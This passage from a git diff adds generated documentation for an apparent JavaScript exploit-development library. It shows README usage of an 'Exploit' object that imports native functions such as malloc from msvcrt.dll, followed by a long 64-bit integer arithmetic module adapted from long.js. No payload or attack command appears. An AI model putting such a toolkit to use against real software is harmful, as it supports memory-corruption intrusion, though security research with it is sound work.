+            case 64:
+                // TODO: implement memory write of value to address
+        }
+    }
+    return Exploit;
+})();

Using an exploit in a payload is easier if you use the deprecated with statement:

+
with (new Exploit()) {
+    var malloc = importFunction('msvcrt.dll', 'malloc', Uint8Ptr);
+    // ...
+}

You can also define an Exploit object (non-deprecated, but more verbose):

+
var e = new Exploit();
+var malloc = e.importFunction('msvcrt.dll', 'malloc', Uint8Ptr);
+// ...

Build Instructions

You can rebuild the library using webpack:

+
$ npm install
+$ npm run build

You can rebuild the documentation using jsdoc:

+
$ npm run jsdoc

Also, you can run a small HTTP server to host the documentation and examples:

+
$ npm start
+
+ + + + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/integer.js.html b/docs/integer.js.html new file mode 100644 index 0000000..cd88acd --- /dev/null +++ b/docs/integer.js.html @@ -0,0 +1,1267 @@ + + + + + integer.js - Documentation + + + + + + + + + + + + + + + + +
+ +

integer.js

+ + + + + + + +
+
+
/**
+ * @license long.js (c) 2013 Daniel Wirtz <dcode@dcode.io>
+ * Released under the Apache License, Version 2.0
+ * see: https://github.com/dcodeIO/long.js for details
+ */
+var Integer = (function() {
+    /**
+     * Constructs a 64 bit two's-complement integer, given its low and high 32 bit values as *signed* integers.
+     *  See the from* functions below for more convenient ways of constructing Integers.
+     * @exports Integer
+     * @class A Integer class for representing a 64 bit two's-complement integer value.
+     * @param {number} low The low (signed) 32 bits of the long
+     * @param {number} high The high (signed) 32 bits of the long
+     * @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed
+     * @constructor
+     */
+    function Integer(low, high, unsigned, size) {
+
+        this.size = size || 64;
+
+        if (size == 8) {
+            low &= 0xff;
+            if (unsigned || low < 0x80) {
+                high = 0;
+            } else {
+                low |= 0xffffff00;
+                high = 0xffffffff;
+            }
+        } else if (size == 16) {
+            low &= 0xffff;
+            if (unsigned || low < 0x8000) {
+                high = 0;
+            } else {
+                low |= 0xffff0000;
+                high = 0xffffffff;
+            }
+        } else if (size == 32) {
+            if (unsigned || (low|0) >= 0) {
+                high = 0;
+            } else {
+                high = 0xffffffff;
+            }
+        }
+
+        /**
+         * The low 32 bits as a signed value.
+         * @type {number}
+         */
+        this.low = low | 0;
+
+        /**
+         * The high 32 bits as a signed value.
+         * @type {number}
+         */
+        this.high = high | 0;
+
+        /**
+         * Whether unsigned or not.
+         * @type {boolean}
+         */
+        this.unsigned = !!unsigned;
+    }
+
+    // The internal representation of a long is the two given signed, 32-bit values.
+    // We use 32-bit pieces because these are the size of integers on which
+    // Javascript performs bit-operations.  For operations like addition and
+    // multiplication, we split each number into 16 bit pieces, which can easily be
+    // multiplied within Javascript's floating-point representation without overflow
+    // or change in sign.
+    //
+    // In the algorithms below, we frequently reduce the negative case to the
+    // positive case by negating the input(s) and then post-processing the result.
+    // Note that we must ALWAYS check specially whether those values are MIN_VALUE
+    // (-2^63) because -MIN_VALUE == MIN_VALUE (since 2^63 cannot be represented as
+    // a positive number, it overflows back into a negative).  Not handling this
+    // case would often result in infinite recursion.
+    //
+    // Common constant values ZERO, ONE, NEG_ONE, etc. are defined below the from*
+    // methods on which they depend.
+
+    /**
+     * An indicator used to reliably determine if an object is a Integer or not.
+     * @type {boolean}
+     * @const
+     * @private
+     */
+    Integer.prototype.__isInteger__;
+
+    Object.defineProperty(Integer.prototype, "__isInteger__", {
+        value: true,
+        enumerable: false,
+        configurable: false
+    });
+
+    /**
+     * @function
+     * @param {*} obj Object
+     * @returns {boolean}
+     * @inner
+     */
+    function isInteger(obj) {
+        return (obj && obj["__isInteger__"]) === true;
+    }
+
+    /**
+     * Tests if the specified object is a Integer.
+     * @function
+     * @param {*} obj Object
+     * @returns {boolean}
+     */
+    Integer.isInteger = isInteger;
+
+    /**
+     * A cache of the Integer representations of small integer values.
+     * @type {!Object}
+     * @inner
+     */
+    var INT_CACHE = {};
+
+    /**
+     * A cache of the Integer representations of small unsigned integer values.
+     * @type {!Object}
+     * @inner
+     */
+    var UINT_CACHE = {};
+
+    /**
+     * @param {number} value
+     * @param {boolean=} unsigned
+     * @returns {!Integer}
+     * @inner
+     */
+    function fromInt(value, unsigned) {
+        var obj, cachedObj, cache;
+        if (unsigned) {
+            value >>>= 0;
+            if (cache = (0 <= value && value < 256)) {
+                cachedObj = UINT_CACHE[value];
+                if (cachedObj)
+                    return cachedObj;
+            }
+            obj = fromBits(value, (value | 0) < 0 ? -1 : 0, true);
+            if (cache)
+                UINT_CACHE[value] = obj;
+            return obj;
+        } else {
+            value |= 0;
+            if (cache = (-128 <= value && value < 128)) {
+                cachedObj = INT_CACHE[value];
+                if (cachedObj)
+                    return cachedObj;
+            }
+            obj = fromBits(value, value < 0 ? -1 : 0, false);
+            if (cache)
+                INT_CACHE[value] = obj;
+            return obj;
+        }
+    }
+
+    /**
+     * Returns a Integer representing the given 32 bit integer value.
+     * @function
+     * @param {number} value The 32 bit integer in question
+     * @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed
+     * @returns {!Integer} The corresponding Integer value
+     */
+    Integer.fromInt = fromInt;
+
+    /**
+     * @param {number} value
+     * @param {boolean=} unsigned
+     * @returns {!Integer}
+     * @inner
+     */
+    function fromNumber(value, unsigned) {
+        if (isNaN(value) || !isFinite(value))
+            return unsigned ? UZERO : ZERO;
+        if (unsigned) {
+            if (value < 0)
+                return UZERO;
+            if (value >= TWO_PWR_64_DBL)
+                return MAX_UNSIGNED_VALUE;
+        } else {
+            if (value <= -TWO_PWR_63_DBL)
+                return MIN_VALUE;
+            if (value + 1 >= TWO_PWR_63_DBL)
+                return MAX_VALUE;
+        }
+        if (value < 0)
+            return fromNumber(-value, unsigned).neg();
+        return fromBits((value % TWO_PWR_32_DBL) | 0, (value / TWO_PWR_32_DBL) | 0, unsigned);
+    }
+
+    /**
+     * Returns a Integer representing the given value, provided that it is a finite number. Otherwise, zero is returned.
+     * @function
+     * @param {number} value The number in question
+     * @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed
+     * @returns {!Integer} The corresponding Integer value
+     */
+    Integer.fromNumber = fromNumber;
+
+    /**
+     * @param {number} lowBits
+     * @param {number} highBits
+     * @param {boolean=} unsigned
+     * @returns {!Integer}
+     * @inner
+     */
+    function fromBits(lowBits, highBits, unsigned) {
+        return new Integer(lowBits, highBits, unsigned);
+    }
+
+    /**
+     * Returns a Integer representing the 64 bit integer that comes by concatenating the given low and high bits. Each is
+     *  assumed to use 32 bits.
+     * @function
+     * @param {number} lowBits The low 32 bits
+     * @param {number} highBits The high 32 bits
+     * @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed
+     * @returns {!Integer} The corresponding Integer value
+     */
+    Integer.fromBits = fromBits;
+
+    /**
+     * @function
+     * @param {number} base
+     * @param {number} exponent
+     * @returns {number}
+     * @inner
+     */
+    var pow_dbl = Math.pow; // Used 4 times (4*8 to 15+4)
+
+    /**
+     * @param {string} str
+     * @param {(boolean|number)=} unsigned
+     * @param {number=} radix
+     * @returns {!Integer}
+     * @inner
+     */
+    function fromString(str, unsigned, radix) {
+        if (str.length === 0)
+            throw Error('empty string');
+        if (str === "NaN" || str === "Infinity" || str === "+Infinity" || str === "-Infinity")
+            return ZERO;
+        if (typeof unsigned === 'number') { 
+            // For goog.math.long compatibility
+            radix = unsigned,
+            unsigned = false;
+        } else {
+            unsigned = !! unsigned;
+        }
+        radix = radix || 10;
+        if (radix < 2 || 36 < radix)
+            throw RangeError('radix');
+
+        var p;
+        if ((p = str.indexOf('-')) > 0)
+            throw Error('interior hyphen');
+        else if (p === 0) {
+            return fromString(str.substring(1), unsigned, radix).neg();
+        }
+
+        // Do several (8) digits each time through the loop, so as to
+        // minimize the calls to the very expensive emulated div.
+        var radixToPower = fromNumber(pow_dbl(radix, 8));
+
+        var result = ZERO;
+        for (var i = 0; i < str.length; i += 8) {
+            var size = Math.min(8, str.length - i),
+                value = parseInt(str.substring(i, i + size), radix);
+            if (size < 8) {
+                var power = fromNumber(pow_dbl(radix, size));
+                result = result.mul(power).add(fromNumber(value));
+            } else {
+                result = result.mul(radixToPower);
+                result = result.add(fromNumber(value));
+            }
+        }
+        result.unsigned = unsigned;
+        return result;
+    }
+
+    /**
+     * Returns a Integer representation of the given string, written using the specified radix.
+     * @function
+     * @param {string} str The textual representation of the Integer
+     * @param {(boolean|number)=} unsigned Whether unsigned or not, defaults to `false` for signed
+     * @param {number=} radix The radix in which the text is written (2-36), defaults to 10
+     * @returns {!Integer} The corresponding Integer value
+     */
+    Integer.fromString = fromString;
+
+    /**
+     * @function
+     * @param {!Integer|number|string|!{low: number, high: number, unsigned: boolean}} val
+     * @returns {!Integer}
+     * @inner
+     */
+    function fromValue(val) {
+        if (val /* is compatible */ instanceof Integer)
+            return val;
+        if (typeof val === 'number')
+            return fromNumber(val);
+        if (typeof val === 'string')
+            return fromString(val);
+        // Throws for non-objects, converts non-instanceof Integer:
+        return fromBits(val.low, val.high, val.unsigned);
+    }
+
+    /**
+     * Converts the specified value to a Integer.
+     * @function
+     * @param {!Integer|number|string|!{low: number, high: number, unsigned: boolean}} val Value
+     * @returns {!Integer}
+     */
+    Integer.fromValue = fromValue;
+
+    // NOTE: the compiler should inline these constant values below and then remove these variables, so there should be
+    // no runtime penalty for these.
+
+    /**
+     * @type {number}
+     * @const
+     * @inner
+     */
+    var TWO_PWR_16_DBL = 1 << 16;
+
+    /**
+     * @type {number}
+     * @const
+     * @inner
+     */
+    var TWO_PWR_24_DBL = 1 << 24;
+
+    /**
+     * @type {number}
+     * @const
+     * @inner
+     */
+    var TWO_PWR_32_DBL = TWO_PWR_16_DBL * TWO_PWR_16_DBL;
+
+    /**
+     * @type {number}
+     * @const
+     * @inner
+     */
+    var TWO_PWR_64_DBL = TWO_PWR_32_DBL * TWO_PWR_32_DBL;
+
+    /**
+     * @type {number}
+     * @const
+     * @inner
+     */
+    var TWO_PWR_63_DBL = TWO_PWR_64_DBL / 2;
+
+    /**
+     * @type {!Integer}
+     * @const
+     * @inner
+     */
+    var TWO_PWR_24 = fromInt(TWO_PWR_24_DBL);
+
+    /**
+     * @type {!Integer}
+     * @inner
+     */
+    var ZERO = fromInt(0);
+
+    /**
+     * Signed zero.
+     * @type {!Integer}
+     */
+    Integer.ZERO = ZERO;
+
+    /**
+     * @type {!Integer}
+     * @inner
+     */
+    var UZERO = fromInt(0, true);
+
+    /**
+     * Unsigned zero.
+     * @type {!Integer}
+     */
+    Integer.UZERO = UZERO;
+
+    /**
+     * @type {!Integer}
+     * @inner
+     */
+    var ONE = fromInt(1);
+
+    /**
+     * Signed one.
+     * @type {!Integer}
+     */
+    Integer.ONE = ONE;
+
+    /**
+     * @type {!Integer}
+     * @inner
+     */
+    var UONE = fromInt(1, true);
+
+    /**
+     * Unsigned one.
+     * @type {!Integer}
+     */
+    Integer.UONE = UONE;
+
+    /**
+     * @type {!Integer}
+     * @inner
+     */
+    var NEG_ONE = fromInt(-1);
+
+    /**
+     * Signed negative one.
+     * @type {!Integer}
+     */
+    Integer.NEG_ONE = NEG_ONE;
+
+    /**
+     * @type {!Integer}
+     * @inner
+     */
+    var MAX_VALUE = fromBits(0xFFFFFFFF|0, 0x7FFFFFFF|0, false);
+
+    /**
+     * Maximum signed value.
+     * @type {!Integer}
+     */
+    Integer.MAX_VALUE = MAX_VALUE;
+
+    /**
+     * @type {!Integer}
+     * @inner
+     */
+    var MAX_UNSIGNED_VALUE = fromBits(0xFFFFFFFF|0, 0xFFFFFFFF|0, true);
+
+    /**
+     * Maximum unsigned value.
+     * @type {!Integer}
+     */
+    Integer.MAX_UNSIGNED_VALUE = MAX_UNSIGNED_VALUE;
+
+    /**
+     * @type {!Integer}
+     * @inner
+     */
+    var MIN_VALUE = fromBits(0, 0x80000000|0, false);
+
+    /**
+     * Minimum signed value.
+     * @type {!Integer}
+     */
+    Integer.MIN_VALUE = MIN_VALUE;
+
+    /**
+     * @alias Integer.prototype
+     * @inner
+     */
+    var IntegerPrototype = Integer.prototype;
+
+    /**
+     * Converts the Integer to a 32 bit integer, assuming it is a 32 bit integer.
+     * @returns {number}
+     */
+    IntegerPrototype.toInt = function toInt() {
+        return this.unsigned ? this.low >>> 0 : this.low;
+    };
+
+    /**
+     * Converts the Integer to a the nearest floating-point representation of this value (double, 53 bit mantissa).
+     * @returns {number}
+     */
+    IntegerPrototype.toNumber = function toNumber() {
+        if (this.unsigned)
+            return ((this.high >>> 0) * TWO_PWR_32_DBL) + (this.low >>> 0);
+        return this.high * TWO_PWR_32_DBL + (this.low >>> 0);
+    };
+
+    /**
+     * Converts the Integer to a string written in the specified radix.
+     * @param {number=} radix Radix (2-36), defaults to 10
+     * @returns {string}
+     * @override
+     * @throws {RangeError} If `radix` is out of range
+     */
+    IntegerPrototype.toString = function toString(radix) {
+        radix = radix || 10;
+        if (radix < 2 || 36 < radix)
+            throw RangeError('radix');
+        if (this.isZero())
+            return '0';
+        if (this.isNegative()) { // Unsigned Integers are never negative
+            if (this.eq(MIN_VALUE)) {
+                // We need to change the Integer value before it can be negated, so we remove
+                // the bottom-most digit in this base and then recurse to do the rest.
+                var radixInteger = fromNumber(radix),
+                    div = this.div(radixInteger),
+                    rem1 = div.mul(radixInteger).sub(this);
+                return div.toString(radix) + rem1.toInt().toString(radix);
+            } else
+                return '-' + this.neg().toString(radix);
+        }
+
+        // Do several (6) digits each time through the loop, so as to
+        // minimize the calls to the very expensive emulated div.
+        var radixToPower = fromNumber(pow_dbl(radix, 6), this.unsigned),
+            rem = this;
+        var result = '';
+        while (true) {
+            var remDiv = rem.div(radixToPower),
+                intval = rem.sub(remDiv.mul(radixToPower)).toInt() >>> 0,
+                digits = intval.toString(radix);
+            rem = remDiv;
+            if (rem.isZero())
+                return digits + result;
+            else {
+                while (digits.length < 6)
+                    digits = '0' + digits;
+                result = '' + digits + result;
+            }
+        }
+    };
+
+    /**
+     * Gets the high 32 bits as a signed integer.
+     * @returns {number} Signed high bits
+     */
+    IntegerPrototype.getHighBits = function getHighBits() {
+        return this.high;
+    };
+
+    /**
+     * Gets the high 32 bits as an unsigned integer.
+     * @returns {number} Unsigned high bits
+     */
+    IntegerPrototype.getHighBitsUnsigned = function getHighBitsUnsigned() {
+        return this.high >>> 0;
+    };
+
+    /**
+     * Gets the low 32 bits as a signed integer.
+     * @returns {number} Signed low bits
+     */
+    IntegerPrototype.getLowBits = function getLowBits() {
+        return this.low;
+    };
+
+    /**
+     * Gets the low 32 bits as an unsigned integer.
+     * @returns {number} Unsigned low bits
+     */
+    IntegerPrototype.getLowBitsUnsigned = function getLowBitsUnsigned() {
+        return this.low >>> 0;
+    };
+
+    /**
+     * Gets the number of bits needed to represent the absolute value of this Integer.
+     * @returns {number}
+     */
+    IntegerPrototype.getNumBitsAbs = function getNumBitsAbs() {
+        if (this.isNegative()) // Unsigned Integers are never negative
+            return this.eq(MIN_VALUE) ? 64 : this.neg().getNumBitsAbs();
+        var val = this.high != 0 ? this.high : this.low;
+        for (var bit = 31; bit > 0; bit--)
+            if ((val & (1 << bit)) != 0)
+                break;
+        return this.high != 0 ? bit + 33 : bit + 1;
+    };
+
+    /**
+     * Tests if this Integer's value equals zero.
+     * @returns {boolean}
+     */
+    IntegerPrototype.isZero = function isZero() {
+        return this.high === 0 && this.low === 0;
+    };
+
+    /**
+     * Tests if this Integer's value is negative.
+     * @returns {boolean}
+     */
+    IntegerPrototype.isNegative = function isNegative() {
+        return !this.unsigned && this.high < 0;
+    };
+
+    /**
+     * Tests if this Integer's value is positive.
+     * @returns {boolean}
+     */
+    IntegerPrototype.isPositive = function isPositive() {
+        return this.unsigned || this.high >= 0;
+    };
+
+    /**
+     * Tests if this Integer's value is odd.
+     * @returns {boolean}
+     */
+    IntegerPrototype.isOdd = function isOdd() {
+        return (this.low & 1) === 1;
+    };
+
+    /**
+     * Tests if this Integer's value is even.
+     * @returns {boolean}
+     */
+    IntegerPrototype.isEven = function isEven() {
+        return (this.low & 1) === 0;
+    };
+
+    /**
+     * Tests if this Integer's value equals the specified's.
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.equals = function equals(other) {
+        if (!isInteger(other))
+            other = fromValue(other);
+        if (this.unsigned !== other.unsigned && (this.high >>> 31) === 1 && (other.high >>> 31) === 1)
+            return false;
+        return this.high === other.high && this.low === other.low;
+    };
+
+    /**
+     * Tests if this Integer's value equals the specified's. This is an alias of {@link Integer#equals}.
+     * @function
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.eq = IntegerPrototype.equals;
+
+    /**
+     * Tests if this Integer's value differs from the specified's.
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.notEquals = function notEquals(other) {
+        return !this.eq(/* validates */ other);
+    };
+
+    /**
+     * Tests if this Integer's value differs from the specified's. This is an alias of {@link Integer#notEquals}.
+     * @function
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.neq = IntegerPrototype.notEquals;
+
+    /**
+     * Tests if this Integer's value is less than the specified's.
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.lessThan = function lessThan(other) {
+        return this.comp(/* validates */ other) < 0;
+    };
+
+    /**
+     * Tests if this Integer's value is less than the specified's. This is an alias of {@link Integer#lessThan}.
+     * @function
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.lt = IntegerPrototype.lessThan;
+
+    /**
+     * Tests if this Integer's value is less than or equal the specified's.
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.lessThanOrEqual = function lessThanOrEqual(other) {
+        return this.comp(/* validates */ other) <= 0;
+    };
+
+    /**
+     * Tests if this Integer's value is less than or equal the specified's. This is an alias of {@link Integer#lessThanOrEqual}.
+     * @function
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.lte = IntegerPrototype.lessThanOrEqual;
+
+    /**
+     * Tests if this Integer's value is greater than the specified's.
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.greaterThan = function greaterThan(other) {
+        return this.comp(/* validates */ other) > 0;
+    };
+
+    /**
+     * Tests if this Integer's value is greater than the specified's. This is an alias of {@link Integer#greaterThan}.
+     * @function
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.gt = IntegerPrototype.greaterThan;
+
+    /**
+     * Tests if this Integer's value is greater than or equal the specified's.
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.greaterThanOrEqual = function greaterThanOrEqual(other) {
+        return this.comp(/* validates */ other) >= 0;
+    };
+
+    /**
+     * Tests if this Integer's value is greater than or equal the specified's. This is an alias of {@link Integer#greaterThanOrEqual}.
+     * @function
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.gte = IntegerPrototype.greaterThanOrEqual;
+
+    /**
+     * Compares this Integer's value with the specified's.
+     * @param {!Integer|number|string} other Other value
+     * @returns {number} 0 if they are the same, 1 if the this is greater and -1
+     *  if the given one is greater
+     */
+    IntegerPrototype.compare = function compare(other) {
+        if (!isInteger(other))
+            other = fromValue(other);
+        if (this.eq(other))
+            return 0;
+        var thisNeg = this.isNegative(),
+            otherNeg = other.isNegative();
+        if (thisNeg && !otherNeg)
+            return -1;
+        if (!thisNeg && otherNeg)
+            return 1;
+        // At this point the sign bits are the same
+        if (!this.unsigned)
+            return this.sub(other).isNegative() ? -1 : 1;
+        // Both are positive if at least one is unsigned
+        return (other.high >>> 0) > (this.high >>> 0) || (other.high === this.high && (other.low >>> 0) > (this.low >>> 0)) ? -1 : 1;
+    };
+
+    /**
+     * Compares this Integer's value with the specified's. This is an alias of {@link Integer#compare}.
+     * @function
+     * @param {!Integer|number|string} other Other value
+     * @returns {number} 0 if they are the same, 1 if the this is greater and -1
+     *  if the given one is greater
+     */
+    IntegerPrototype.comp = IntegerPrototype.compare;
+
+    /**
+     * Negates this Integer's value.
+     * @returns {!Integer} Negated Integer
+     */
+    IntegerPrototype.negate = function negate() {
+        if (!this.unsigned && this.eq(MIN_VALUE))
+            return MIN_VALUE;
+        return this.not().add(ONE);
+    };
+
+    /**
+     * Negates this Integer's value. This is an alias of {@link Integer#negate}.
+     * @function
+     * @returns {!Integer} Negated Integer
+     */
+    IntegerPrototype.neg = IntegerPrototype.negate;
+
+    /**
+     * Returns the sum of this and the specified Integer.
+     * @param {!Integer|number|string} addend Addend
+     * @returns {!Integer} Sum
+     */
+    IntegerPrototype.add = function add(addend) {
+        if (!isInteger(addend))
+            addend = fromValue(addend);
+
+        // Divide each number into 4 chunks of 16 bits, and then sum the chunks.
+
+        var a48 = this.high >>> 16;
+        var a32 = this.high & 0xFFFF;
+        var a16 = this.low >>> 16;
+        var a00 = this.low & 0xFFFF;
+
+        var b48 = addend.high >>> 16;
+        var b32 = addend.high & 0xFFFF;
+        var b16 = addend.low >>> 16;
+        var b00 = addend.low & 0xFFFF;
+
+        var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
+        c00 += a00 + b00;
+        c16 += c00 >>> 16;
+        c00 &= 0xFFFF;
+        c16 += a16 + b16;
+        c32 += c16 >>> 16;
+        c16 &= 0xFFFF;
+        c32 += a32 + b32;
+        c48 += c32 >>> 16;
+        c32 &= 0xFFFF;
+        c48 += a48 + b48;
+        c48 &= 0xFFFF;
+        return fromBits((c16 << 16) | c00, (c48 << 16) | c32, this.unsigned, this.size);
+    };
+
+    /**
+     * Returns the difference of this and the specified Integer.
+     * @param {!Integer|number|string} subtrahend Subtrahend
+     * @returns {!Integer} Difference
+     */
+    IntegerPrototype.subtract = function subtract(subtrahend) {
+        if (!isInteger(subtrahend))
+            subtrahend = fromValue(subtrahend);
+        return this.add(subtrahend.neg());
+    };
+
+    /**
+     * Returns the difference of this and the specified Integer. This is an alias of {@link Integer#subtract}.
+     * @function
+     * @param {!Integer|number|string} subtrahend Subtrahend
+     * @returns {!Integer} Difference
+     */
+    IntegerPrototype.sub = IntegerPrototype.subtract;
+
+    /**
+     * Returns the product of this and the specified Integer.
+     * @param {!Integer|number|string} multiplier Multiplier
+     * @returns {!Integer} Product
+     */
+    IntegerPrototype.multiply = function multiply(multiplier) {
+        if (this.isZero())
+            return ZERO;
+        if (!isInteger(multiplier))
+            multiplier = fromValue(multiplier);
+        if (multiplier.isZero())
+            return ZERO;
+        if (this.eq(MIN_VALUE))
+            return multiplier.isOdd() ? MIN_VALUE : ZERO;
+        if (multiplier.eq(MIN_VALUE))
+            return this.isOdd() ? MIN_VALUE : ZERO;
+
+        if (this.isNegative()) {
+            if (multiplier.isNegative())
+                return this.neg().mul(multiplier.neg());
+            else
+                return this.neg().mul(multiplier).neg();
+        } else if (multiplier.isNegative())
+            return this.mul(multiplier.neg()).neg();
+
+        // If both longs are small, use float multiplication
+        if (this.lt(TWO_PWR_24) && multiplier.lt(TWO_PWR_24))
+            return fromNumber(this.toNumber() * multiplier.toNumber(), this.unsigned);
+
+        // Divide each long into 4 chunks of 16 bits, and then add up 4x4 products.
+        // We can skip products that would overflow.
+
+        var a48 = this.high >>> 16;
+        var a32 = this.high & 0xFFFF;
+        var a16 = this.low >>> 16;
+        var a00 = this.low & 0xFFFF;
+
+        var b48 = multiplier.high >>> 16;
+        var b32 = multiplier.high & 0xFFFF;
+        var b16 = multiplier.low >>> 16;
+        var b00 = multiplier.low & 0xFFFF;
+
+        var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
+        c00 += a00 * b00;
+        c16 += c00 >>> 16;
+        c00 &= 0xFFFF;
+        c16 += a16 * b00;
+        c32 += c16 >>> 16;
+        c16 &= 0xFFFF;
+        c16 += a00 * b16;
+        c32 += c16 >>> 16;
+        c16 &= 0xFFFF;
+        c32 += a32 * b00;
+        c48 += c32 >>> 16;
+        c32 &= 0xFFFF;
+        c32 += a16 * b16;
+        c48 += c32 >>> 16;
+        c32 &= 0xFFFF;
+        c32 += a00 * b32;
+        c48 += c32 >>> 16;
+        c32 &= 0xFFFF;
+        c48 += a48 * b00 + a32 * b16 + a16 * b32 + a00 * b48;
+        c48 &= 0xFFFF;
+        return fromBits((c16 << 16) | c00, (c48 << 16) | c32, this.unsigned, this.size);
+    };
+
+    /**
+     * Returns the product of this and the specified Integer. This is an alias of {@link Integer#multiply}.
+     * @function
+     * @param {!Integer|number|string} multiplier Multiplier
+     * @returns {!Integer} Product
+     */
+    IntegerPrototype.mul = IntegerPrototype.multiply;
+
+    /**
+     * Returns this Integer divided by the specified. The result is signed if this Integer is signed or
+     *  unsigned if this Integer is unsigned.
+     * @param {!Integer|number|string} divisor Divisor
+     * @returns {!Integer} Quotient
+     */
+    IntegerPrototype.divide = function divide(divisor) {
+        if (!isInteger(divisor))
+            divisor = fromValue(divisor);
+        if (divisor.isZero())
+            throw Error('division by zero');
+        if (this.isZero())
+            return this.unsigned ? UZERO : ZERO;
+        var approx, rem, res;
+        if (!this.unsigned) {
+            // This section is only relevant for signed longs and is derived from the
+            // closure library as a whole.
+            if (this.eq(MIN_VALUE)) {
+                if (divisor.eq(ONE) || divisor.eq(NEG_ONE))
+                    return MIN_VALUE;  // recall that -MIN_VALUE == MIN_VALUE
+                else if (divisor.eq(MIN_VALUE))
+                    return ONE;
+                else {
+                    // At this point, we have |other| >= 2, so |this/other| < |MIN_VALUE|.
+                    var halfThis = this.shr(1);
+                    approx = halfThis.div(divisor).shl(1);
+                    if (approx.eq(ZERO)) {
+                        return divisor.isNegative() ? ONE : NEG_ONE;
+                    } else {
+                        rem = this.sub(divisor.mul(approx));
+                        res = approx.add(rem.div(divisor));
+                        return res;
+                    }
+                }
+            } else if (divisor.eq(MIN_VALUE))
+                return this.unsigned ? UZERO : ZERO;
+            if (this.isNegative()) {
+                if (divisor.isNegative())
+                    return this.neg().div(divisor.neg());
+                return this.neg().div(divisor).neg();
+            } else if (divisor.isNegative())
+                return this.div(divisor.neg()).neg();
+            res = ZERO;
+        } else {
+            // The algorithm below has not been made for unsigned longs. It's therefore
+            // required to take special care of the MSB prior to running it.
+            if (!divisor.unsigned)
+                divisor = divisor.toUnsigned();
+            if (divisor.gt(this))
+                return UZERO;
+            if (divisor.gt(this.shru(1))) // 15 >>> 1 = 7 ; with divisor = 8 ; true
+                return UONE;
+            res = UZERO;
+        }
+
+        // Repeat the following until the remainder is less than other:  find a
+        // floating-point that approximates remainder / other *from below*, add this
+        // into the result, and subtract it from the remainder.  It is critical that
+        // the approximate value is less than or equal to the real value so that the
+        // remainder never becomes negative.
+        rem = this;
+        while (rem.gte(divisor)) {
+            // Approximate the result of division. This may be a little greater or
+            // smaller than the actual value.
+            approx = Math.max(1, Math.floor(rem.toNumber() / divisor.toNumber()));
+
+            // We will tweak the approximate result by changing it in the 48-th digit or
+            // the smallest non-fractional digit, whichever is larger.
+            var log2 = Math.ceil(Math.log(approx) / Math.LN2),
+                delta = (log2 <= 48) ? 1 : pow_dbl(2, log2 - 48),
+
+            // Decrease the approximation until it is smaller than the remainder.  Note
+            // that if it is too large, the product overflows and is negative.
+                approxRes = fromNumber(approx),
+                approxRem = approxRes.mul(divisor);
+            while (approxRem.isNegative() || approxRem.gt(rem)) {
+                approx -= delta;
+                approxRes = fromNumber(approx, this.unsigned);
+                approxRem = approxRes.mul(divisor);
+            }
+
+            // We know the answer can't be zero... and actually, zero would cause
+            // infinite recursion since we would make no progress.
+            if (approxRes.isZero())
+                approxRes = ONE;
+
+            res = res.add(approxRes);
+            rem = rem.sub(approxRem);
+        }
+        return res;
+    };
+
+    /**
+     * Returns this Integer divided by the specified. This is an alias of {@link Integer#divide}.
+     * @function
+     * @param {!Integer|number|string} divisor Divisor
+     * @returns {!Integer} Quotient
+     */
+    IntegerPrototype.div = IntegerPrototype.divide;
+
+    /**
+     * Returns this Integer modulo the specified.
+     * @param {!Integer|number|string} divisor Divisor
+     * @returns {!Integer} Remainder
+     */
+    IntegerPrototype.modulo = function modulo(divisor) {
+        if (!isInteger(divisor))
+            divisor = fromValue(divisor);
+        return this.sub(this.div(divisor).mul(divisor));
+    };
+
+    /**
+     * Returns this Integer modulo the specified. This is an alias of {@link Integer#modulo}.
+     * @function
+     * @param {!Integer|number|string} divisor Divisor
+     * @returns {!Integer} Remainder
+     */
+    IntegerPrototype.mod = IntegerPrototype.modulo;
+
+    /**
+     * Returns the bitwise NOT of this Integer.
+     * @returns {!Integer}
+     */
+    IntegerPrototype.not = function not() {
+        return fromBits(~this.low, ~this.high, this.unsigned, this.size);
+    };
+
+    /**
+     * Returns the bitwise AND of this Integer and the specified.
+     * @param {!Integer|number|string} other Other Integer
+     * @returns {!Integer}
+     */
+    IntegerPrototype.and = function and(other) {
+        if (!isInteger(other))
+            other = fromValue(other);
+        return fromBits(this.low & other.low, this.high & other.high, this.unsigned, this.size);
+    };
+
+    /**
+     * Returns the bitwise OR of this Integer and the specified.
+     * @param {!Integer|number|string} other Other Integer
+     * @returns {!Integer}
+     */
+    IntegerPrototype.or = function or(other) {
+        if (!isInteger(other))
+            other = fromValue(other);
+        return fromBits(this.low | other.low, this.high | other.high, this.unsigned, this.size);
+    };
+
+    /**
+     * Returns the bitwise XOR of this Integer and the given one.
+     * @param {!Integer|number|string} other Other Integer
+     * @returns {!Integer}
+     */
+    IntegerPrototype.xor = function xor(other) {
+        if (!isInteger(other))
+            other = fromValue(other);
+        return fromBits(this.low ^ other.low, this.high ^ other.high, this.unsigned, this.size);
+    };
+
+    /**
+     * Returns this Integer with bits shifted to the left by the given amount.
